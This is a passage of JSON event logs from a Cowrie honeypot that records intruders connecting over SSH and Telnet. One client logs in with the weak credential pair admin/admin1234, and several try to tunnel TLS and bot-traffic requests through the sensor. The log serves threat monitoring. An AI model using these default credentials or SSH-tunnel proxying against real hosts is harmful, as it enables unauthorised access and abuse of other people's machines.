x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xde\\xeeR\\x84\\t!\\x07\\xaa\\x0c\\x04\\xce\\xe6\\xee\\x84\\xafhU\\xac\\x14r\\xc9\\xe2\\xa9\\x16\\x7f\\xedn\\x10\\xc3\\xf5XG >\\x10 Z\\x95\\xef\\x87%\\xd7xL\\xd9?r\\xdf\\xae\\xe0\\xf3\\x17\\x9e=S\\xdf\\xee\\x82o&\\xac\\x07H\\xff\\xeb\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x9a\\xf7Qr\\xb4G~\\xd3\\xe4U\\xa6\\xb3C\\xb9\\xa5\\x94H\\xc1\\xdc\\xedQ'\\x86\\x08\\x80\\xc0[\\xc6\\x8f^Y$\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:37.432918Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:37.726780Z","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:38.015000Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\x8a\\xbcu\\r\\xed[\\xa9\\x7f\\xbbh\\xc7\\xf3R(\\x97^k\\xc9\\x82\\x0e\\xe6\\x00\\x07\\xb1\\xe5\\xd3\\xdb\\x9f\\x1c\\x14R 4d\\xb1\\x0b\\xae\\xbd\\xc8zt\\x84`s\\x12\\x82\\xc6\\xb5\\x07\\xd3b\\xf5\\xa5G\\t\\xaeL \\xdd?\\x13\\x9f\\x12 \\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 W2\\xa7Z_6\\x87\\xd5\\x88\\xe8\\xa8\\x0e\\xe0\\t\\x11\\x9b\\xa9\\xb2\\xc2\\xff9\\xf0&\\xf1\\xf9\\xaf\\x81\\x8b*\\xd9\\xd8M\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90\\x8a\\xbcu\\r\\xed[\\xa9\\x7f\\xbbh\\xc7\\xf3R(\\x97^k\\xc9\\x82\\x0e\\xe6\\x00\\x07\\xb1\\xe5\\xd3\\xdb\\x9f\\x1c\\x14R 4d\\xb1\\x0b\\xae\\xbd\\xc8zt\\x84`s\\x12\\x82\\xc6\\xb5\\x07\\xd3b\\xf5\\xa5G\\t\\xaeL \\xdd?\\x13\\x9f\\x12 \\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 W2\\xa7Z_6\\x87\\xd5\\x88\\xe8\\xa8\\x0e\\xe0\\t\\x11\\x9b\\xa9\\xb2\\xc2\\xff9\\xf0&\\xf1\\xf9\\xaf\\x81\\x8b*\\xd9\\xd8M\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:38.019225Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.8","message":"Connection lost after 4.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:38.510359Z","src_ip":"113.164.152.20","session":"4449733fb038","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":55442,"dst_ip":"159.203.135.109","dst_port":23,"session":"e94481a6a3e2","protocol":"telnet","message":"New connection: 172.81.62.90:55442 (159.203.135.109:23) [session: e94481a6a3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:43.846179Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":64359,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fe3f6e87d7b","protocol":"ssh","message":"New connection: 123.27.168.40:64359 (10.17.0.5:22) [session: 1fe3f6e87d7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:50.477606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:50.481427Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:50.715158Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:51.836097Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.186667Z","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.382449Z","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.417440Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; HD1925) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Z19WRWZNMUJsKEp7VH1QdA%3D%3D7OYiMLByFvhGhyj8UYa4l9fzgpIVxXOug0dGuG%2BzjJ%2FHl1FNJBfSSORQoO2UluT7qdMdnUuJyiX20FRmnxSkcQuIhZCBq0quYsqgeFnIOxDJ%2F6%2FwglRHzITKM2S%2FIu%2FxYDugtPDq1iXOUm%2F71MDDz9J5utzgVvMNGFCX4UxT9zQEX9MJQD9Oz9Jsa5Sx8SB5I0wnjWZeXQlp%2F5Qc32fIpnN0rKfJ27ZSPKjhevatptCey9x%2FSteW4TGpsSqYxOf3Np%2FfaIxrUROyaWIXol0oY7yesT5bSK7ZytNTNuy%2B57bZzPPiQpq6SHIlTukI4EhdNq7T9iUGuxhvA3UqpwS%2FB8RPTbNWLT3p3%2B4JdQm4lSUBm2jPehtw0ZM30VnAf3tlFF7Y3Gq2BIKr0x8tO%2B9xamI6jjv0%2Bl3UIOJHhCds7Qojz%2F9MO4hbHq73TSgw1wjQgT9SYRym1PHsFyJdYR%2Bw9GZHd1x57B0xlXBlhBjxJtukVDL4gSZtGwMeZDSJWid6EplXdd%2BgvG6y1n%2BTY7cFOnynoPcX3NbzE1ZKw5h%2FpebrnM5KUoXAeNJEWqvQST%2F9tlPx8e%2FfXQ8KJO2bLHAbUPrjciTZZrjtqcv1aukFDcmmd0rxXVOjJdI6f23v7tN8m2isTCfyoqOlX8zBW%2BFdV%2FpMTQEFsBOgWbw0wQwr56gmIKq3%2BvsYpCEZ6XSX5Qjl%2Fkdxh7e3l8Fcrzk4tnr6t3btC1yhughDTodiz1sWmZUQ0bvPLq%2BBZGGGXkuvVVRXVDBDkG4jv%2Fpt8U7oMUrB%2FwwZ5JpdxKer2QABzu0ygR%2Fk3ZcLc%2Be2%2F6ufmpJ01ICMI%2BUK422H3zXefvmbKRMmXd2z%2F1WFIH1LaY%2FqQw1GRXG1yAKWUKgyI%2F5TsOYZmYqea%2Fk51iR%2FXsDYZEZ3Z2TxRik0ONvMYGUjbXT4A8qE2baKMhpv1J793lrkf%2Bv2YZD8WeSv3KBVzMDeCnBPbdFbRQazLY9BMRzaQVsI5U2VtZIsmduuyP7audj55RP0PoK7nCp7X625uBPO3oaYunxdgYXcR%2BS8QUKs1Pt1PQG6%2FiI%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; HD1925) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Z19WRWZNMUJsKEp7VH1QdA%3D%3D7OYiMLByFvhGhyj8UYa4l9fzgpIVxXOug0dGuG%2BzjJ%2FHl1FNJBfSSORQoO2UluT7qdMdnUuJyiX20FRmnxSkcQuIhZCBq0quYsqgeFnIOxDJ%2F6%2FwglRHzITKM2S%2FIu%2FxYDugtPDq1iXOUm%2F71MDDz9J5utzgVvMNGFCX4UxT9zQEX9MJQD9Oz9Jsa5Sx8SB5I0wnjWZeXQlp%2F5Qc32fIpnN0rKfJ27ZSPKjhevatptCey9x%2FSteW4TGpsSqYxOf3Np%2FfaIxrUROyaWIXol0oY7yesT5bSK7ZytNTNuy%2B57bZzPPiQpq6SHIlTukI4EhdNq7T9iUGuxhvA3UqpwS%2FB8RPTbNWLT3p3%2B4JdQm4lSUBm2jPehtw0ZM30VnAf3tlFF7Y3Gq2BIKr0x8tO%2B9xamI6jjv0%2Bl3UIOJHhCds7Qojz%2F9MO4hbHq73TSgw1wjQgT9SYRym1PHsFyJdYR%2Bw9GZHd1x57B0xlXBlhBjxJtukVDL4gSZtGwMeZDSJWid6EplXdd%2BgvG6y1n%2BTY7cFOnynoPcX3NbzE1ZKw5h%2FpebrnM5KUoXAeNJEWqvQST%2F9tlPx8e%2FfXQ8KJO2bLHAbUPrjciTZZrjtqcv1aukFDcmmd0rxXVOjJdI6f23v7tN8m2isTCfyoqOlX8zBW%2BFdV%2FpMTQEFsBOgWbw0wQwr56gmIKq3%2BvsYpCEZ6XSX5Qjl%2Fkdxh7e3l8Fcrzk4tnr6t3btC1yhughDTodiz1sWmZUQ0bvPLq%2BBZGGGXkuvVVRXVDBDkG4jv%2Fpt8U7oMUrB%2FwwZ5JpdxKer2QABzu0ygR%2Fk3ZcLc%2Be2%2F6ufmpJ01ICMI%2BUK422H3zXefvmbKRMmXd2z%2F1WFIH1LaY%2FqQw1GRXG1yAKWUKgyI%2F5TsOYZmYqea%2Fk51iR%2FXsDYZEZ3Z2TxRik0ONvMYGUjbXT4A8qE2baKMhpv1J793lrkf%2Bv2YZD8WeSv3KBVzMDeCnBPbdFbRQazLY9BMRzaQVsI5U2VtZIsmduuyP7audj55RP0PoK7nCp7X625uBPO3oaYunxdgYXcR%2BS8QUKs1Pt1PQG6%2FiI%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.420662Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":35914,"dst_ip":"159.203.135.109","dst_port":22,"session":"a72a5a4f4634","protocol":"ssh","message":"New connection: 49.247.37.22:35914 (159.203.135.109:22) [session: a72a5a4f4634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.462700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.469322Z","src_ip":"49.247.37.22","session":"a72a5a4f4634","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:44:52.643429Z","src_ip":"123.27.168.40","session":"1fe3f6e87d7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{\\x11V\\x7f}L\\xa2\\xb1\\xd7\\xd3.\\xbc5;\\xbem\\x92+\\xa0\\x0eW\\xe6X#\\xb3v8\\xb4\\x8dW\\x1cR \\x92\\xd3\\x81O\\xe6\\xfd\\x17P2\\xd4%\\xedSkJ\\xa3\\x9b\\xe7\\xb6\\xa5LOO\\xf8\\xe7\\x02\\xe7\\x9f\\xb4\\xf6\\xf7\"\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1Fj@B\\xa4\\xfa\\x1f\\xa8\\x83\\xa5{\\xbc\\xd6\\xcf\\x85>c\\xd8m\\xdb\\xebm5\\xc3(\\x87\\xcb\\ro\\x86y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x